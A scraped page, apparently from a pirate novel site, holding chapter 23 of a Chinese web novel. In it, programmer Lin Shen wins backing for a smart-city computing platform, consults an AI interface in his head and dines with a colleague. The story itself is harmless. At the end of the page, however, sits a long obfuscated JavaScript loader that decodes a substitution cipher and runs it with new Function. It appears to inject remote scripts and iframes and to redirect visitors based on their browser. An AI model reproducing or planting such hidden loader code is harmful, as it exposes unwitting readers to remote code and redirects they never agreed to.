首页
[切换至繁体版]
返回

第二十三章 逆袭的锋芒

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第二十三章逆袭的锋芒(第1/2页)
    会议室里的空气凝固了。
    林深站在投影幕前,目光平静地扫过在座的每一个人。研发部总监陈明、市场部负责人刘薇、还有三个从总公司空降下来的“特派观察员”。这五双眼睛此刻都盯着他,目光里混杂着审视、怀疑,以及不易察觉的敌意。
    “林组长,你提交的这份报告,数据确实很漂亮。”陈明推了推眼镜,手指在桌面上轻轻敲击,“但问题是,这和我们现有的业务方向偏差太大。智慧城市数据中台?你知道这个领域有多少巨头在布局吗?”
    林深没有立即回答。他走到窗边,目光投向楼下川流不息的车流。这座城市的脉搏在数据中跳动,每一辆车、每一盏红绿灯、每一个摄像头都在产生海量的信息碎片。而这些碎片,正被不同的系统割裂地存储、低效地处理。
    “陈总,偏差大不代表是错的。”林深转过身,声音平稳而清晰,“我们研究了市面上十七个同类项目,发现它们都存在三个致命问题:数据孤岛、算力浪费、应用场景单一。”
    刘薇挑了挑眉:“说具体点。”
    林深点开下一张PPT。三维立体的城市模型在幕布上展开,无数光点在其中流动、汇聚、重组。
    “第一个问题,数据孤岛。”他操控着模型,将几个原本连接的光点切断,“交管系统不知道气象局的实时数据,所以暴雨预警时无法提前调度交通。消防系统不了解建筑内部的实时人流热力图,救援效率大打折扣。每一个部门都在建自己的‘大脑’,但这些大脑之间,没有神经连接。”
    会议室里安静下来。连那三个一直低头记录的特派员,此刻也抬起了头。
    “第二个问题,算力浪费。”林深切换画面,展示出一组惊人的对比数据,“某市去年在智慧城市项目上投入了八亿,其中四亿用于采购服务器和云计算资源。但我们的监测发现,这些算力的平均利用率只有17%。剩下的83%,要么闲置,要么在跑一些简单的数据统计脚本。”
    陈明的眉头皱了起来。
    “第三个问题,”林深的语气加重,“应用场景停留在‘展示’层面。大屏幕上滚动的数据很炫酷,领导视察时能说出各种百分比,但一线的工作人员呢?社区的网格员呢?他们手里的终端,接收到的还是纸质表格电子化后的填报告知。”
    他停顿了一下,让这些话在空气中沉淀。
    “而我们提出的‘蜂巢’系统中台,要解决的就是这三个问题。”林深点击播放演示视频。
    画面中,一个虚拟城市的运转被加速展示。交通拥堵刚刚形成,系统已经根据实时车流、天气、周边活动数据,生成了七套疏导方案。某老旧小区监测到电路异常温升,系统自动推送预警给物业、电力公司、社区网格员,并规划出消防通道的实时畅通方案。
    最震撼的是最后一个场景:暴雨突袭,城市低洼地段开始积水。系统不仅实时调取监控画面,还接入了居民手机端自主上传的现场视频(经脱敏处理),结合气象雷达数据、排水管网实时流量,在三十秒内生成了一份动态风险地图。这份地图被同步推送给应急指挥中心、路政巡查车辆、甚至网约车和外卖平台的调度系统。
    视频结束。会议室里静得能听到空调出风的声音。
    “这个系统……”刘薇第一个开口,声音有些发干,“研发周期要多久?投入预算多少?”
    “如果按照传统开发模式,至少三年,投入不低于两个亿。”林深坦然回答,“但用我们的方法,六个月内完成核心模块开发,九个月上线试点。首期投入,三千万。”
    “三千万?”一个特派员终于忍不住出声,“林组长,这个数字你是怎么得出来的?光是硬件采购就不止这个数。”
    林深走到会议桌旁,打开随身携带的笔记本电脑。屏幕上的代码如瀑布般流动。
    “因为我们不采购硬件。”他说,“‘蜂巢’系统的核心创新在于——算力众筹调度算法。”
    他调出一个模拟界面。屏幕上,城市地图被分割成无数个六边形网格,每个网格内都有几个闪烁的光点。
    “这是某试点区过去24小时的算力分布热力图。红色代表高负载,蓝色代表闲置。”林深放大其中一个区域,“看这里,区政府的服务器集群,工作时间负载峰值达到85%,但晚上10点到次日早上7点,平均负载只有3%。而相隔两条街的网吧,晚间负载峰值90%,白天却大量闲置。”
    “你的意思是……”陈明坐直了身体。
    “让算力流动起来。”林深的眼睛亮了起来,“我们开发了一套安全隔离和任务调度协议,可以把城市里闲置的算力资源——政府部门的夜间闲置服务器、企业的非高峰时段算力、甚至个人电脑的冗余性能——通过区块链确权和智能合约激励的方式,整合成一个虚拟的超级计算集群。”
    他调出一组复杂的算法公式:“这个调度算法的核心,是我们在过去两个月里突破的。它要解决三个核心问题:任务的安全隔离、算力的动态定价、以及网络延迟的优化。而这三个问题,我们已经找到了解决方案。”
    刘薇飞快地在笔记本上记录着,突然抬头:“安全问题怎么解决?把政府数据放到第三方甚至个人设备上跑,这不可能通过合规审查。”
    “数据不出域。”林深斩钉截铁,“我们的架构是:敏感原始数据永远留在本地政务云,只把清洗脱敏后的、加密的任务包拆分发放。每个计算节点拿到的,都是无法反推原始信息的碎片。而且每个碎片会同时发送给三个节点进行冗余计算,通过共识机制验证结果。”
    他顿了顿,补充道:“这套安全架构,我们已经拿到了国内三家顶尖安全机构的预评审报告。其中一位专家说,它的设计理念比他们目前评估过的任何政务云项目都要超前。”
    会议室里再次陷入沉默。但这次的沉默,与刚才不同。那是一种被震撼后需要时间消化的沉默。
    陈明摘下眼镜,慢慢擦拭着镜片。这是他思考重大决定时的习惯动作。
    “林深,”他重新戴上眼镜,语气变得正式,“这个项目如果做成,会颠覆整个行业。但正因为如此,它面临的阻力也会是空前的。利益被触动的厂商、保守的决策者、还有那些等着看我们笑话的竞争对手……”
    “我知道。”林深平静地说,“所以我们需要一场漂亮的亮相。”
    “你已经有计划了?”
    “下个月,杭州有个智慧城市高峰论坛。”林深调出论坛官网页面,“组委会正在征集创新技术路演。如果我们能在那个舞台上,现场演示‘蜂巢’系统的一个核心模块——”
    “他们会认为那是魔术。”刘薇接话,但眼睛里已经有了光。
    “那就变给他们看。”林深合上笔记本电脑,“我们需要一个试点场景,一个足够复杂、足够真实、能让所有人看到价值的场景。”
    陈明和另外几人对视一眼,缓缓点头:“你需要什么支持?”
    “三件事。”林深伸出三根手指,“第一,公司层面的正式立项,让我能抽调人手组建核心团队。第二,和杭州有关部门沟通,拿到一个真实片区的数据接口授权——哪怕是脱敏的、有限权限的。第三……”
    他深吸一口气:“给我开一张特别经费权限。金额不大,但使用要灵活。有些资源,走正常采购流程来不及。”
    陈明盯着他看了十秒钟,然后拉开抽屉,取出一份早就准备好的文件。
    “立项报告我已经签了字。”他把文件推到林深面前,“刘薇会帮你打通杭州那边的关系。至于特别经费……”
    他在便签纸上写下一个数字,签上名字,盖上部门章。
    “五十万以内,你自主决定。但每一笔开支,都要在系统里补录说明。”陈明的目光锐利,“林深,这个机会是我顶着压力给你争来的。总公司那边,有人等着看我们这个创新事业部第一枪打哑火。”
    林深接过便签纸。那张轻飘飘的纸,此刻重若千钧。
    “不会哑火的。”他说,“我们会让所有人,都听到这一声惊雷。”
    离开会议室时,已经是晚上七点。
    走廊里的感应灯随着脚步声依次亮起。林深没有立刻回工位,而是走到消防通道的楼梯间,推开沉重的防火门,在台阶上坐了下来。
    手机在口袋里震动。是苏晚晴发来的消息:“还在加班?晚饭吃了吗?”
    林深这才感觉到胃部传来的空虚感。他打字回复:“刚开完会。还没吃,你呢?”
    消息几乎是秒回:“我也刚忙完。老地方?请你吃豌杂面,庆祝一下。”
    林深忍不住笑了。他知道苏晚晴说的“老地方”是公司后街那家开到凌晨的重庆面馆。那里是他们的“作战指挥所”,很多重要的想法都是在油腻的桌子、嘈杂的人声和热辣的蒸汽中诞生的。
    “好,十五分钟后到。”
    他收起手机,却没有立即起身。楼梯间里很安静,只有安全出口标志散发着幽幽的绿光。从这里的窗户望出去,能看到城市璀璨的夜景。无数灯火勾勒出建筑的轮廓,街道上的车灯汇成流动的光河。
    三个月前,他还是个在裁员名单边缘挣扎的普通程序员。每天焦虑着KPI,担心着房贷,计算着还能在这个行业撑几年。那时他最大的野心,不过是保住工作,争取下一次晋升机会。
    而现在,他手里握着一个可能改变行业规则的项目,一个五十万的特别经费权限,以及一群把前途押在他身上的伙伴。
    命运的手,翻云覆雨。
    “AI,在吗?”林深在心里默念。
    视网膜上浮现出淡蓝色的系统界面。那个简洁的、没有任何冗余设计的界面,已经成为他思维的一部分。
    【我在。检测到您的心率略有升高,皮质醇水平在正常值上限。建议进行五分钟的深呼吸练习。】
    “不用。”林深在心中说,“我只是需要确认一件事——‘蜂巢’系统的核心算法,你推演出的那套算力调度模型,在真实复杂网络环境下的容错率,到底是多少?”
    【基于过去72小时对七个城市级数据中心的模拟压力测试,在同时满足以下条件时:1)网络延迟波动在200ms以内;2)节点失效率低于5%;3)任务粒度划分合理——系统整体容错率为99.997%。】
    “如果条件不满足呢?”
    【最坏情况下,系统会自动降级为传统云计算架构,性能损失约40%,但仍可保证核心功能运行。已设计三级熔断机制,在检测到异常时,可在100毫秒内完成服务切换。】
    林深闭上眼睛,在脑海里重新过了一遍整个系统架构。每一个模块,每一行核心代码,每一个可能的风险点。AI系统提供的不仅是解决方案,还有成千上万次的模拟推演,那些在现实世界中需要耗费巨资和时间才能得到的经验教训,在这里以数据的形式呈现。
    但这还不够。
    技术再完美,也只是骨架。要让这个系统真正落地,需要血肉——需要政策支持,需要利益协调,需要人心所向。
    而这些,是AI无法直接给出的答案。
    【检测到您正在思考非技术性问题。需要我调取类似项目的政策推进案例吗?】
    “不用。”林深睁开眼睛,“这次,我想听听人类的建议。”
    他起身,拍了拍裤子上的灰尘,推门走进明亮的走廊。
    面馆里热气蒸腾。
    苏晚晴已经点好了菜:两碗豌杂面,多加一份豌豆;一盘红油耳丝,一盘拍黄瓜。她坐在靠墙的老位置,正低头在平板电脑上滑动着什么。
    “来了?”她头也不抬,“面刚上,趁热吃。”
    林深在她对面坐下。苏晚晴今天穿了件浅灰色的毛衣,头发松松地挽在脑后,露出白皙的脖颈。她的侧脸在面馆暖黄的灯光下,显得柔和而专注。
    “看什么呢?”林深挑起一筷子面。碱水面的劲道,肉臊子的咸香,豌豆的绵软,红油的麻辣——所有味道在舌尖炸开,瞬间唤醒了疲惫的身体。
    “杭州那个论坛的往届视频。”苏晚晴把平板转过来给他看,“这是去年一等奖的项目,某厂做的‘城市大脑3.0’。你看他们的演示——”
    视频里,西装革履的演讲者站在巨大的屏幕前,用手势操控着三维城市模型。交通流、人流、物流的数据以华丽的可视化形式呈现,引起台下阵阵赞叹。
    “花架子。”苏晚晴毫不客气地点评,“他们的核心就是数据大屏做得炫,但后台算法用的还是三年前那套。我查过他们落地项目的后续报道,一年后,大部分功能都成了摆设。”
    林深点点头,继续吃面。他喜欢苏晚晴这种一针见血的犀利。在技术判断上,她有种近乎本能的敏锐。
    “所以你的计划是什么?”苏晚晴放下平板,认真地看着他,
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();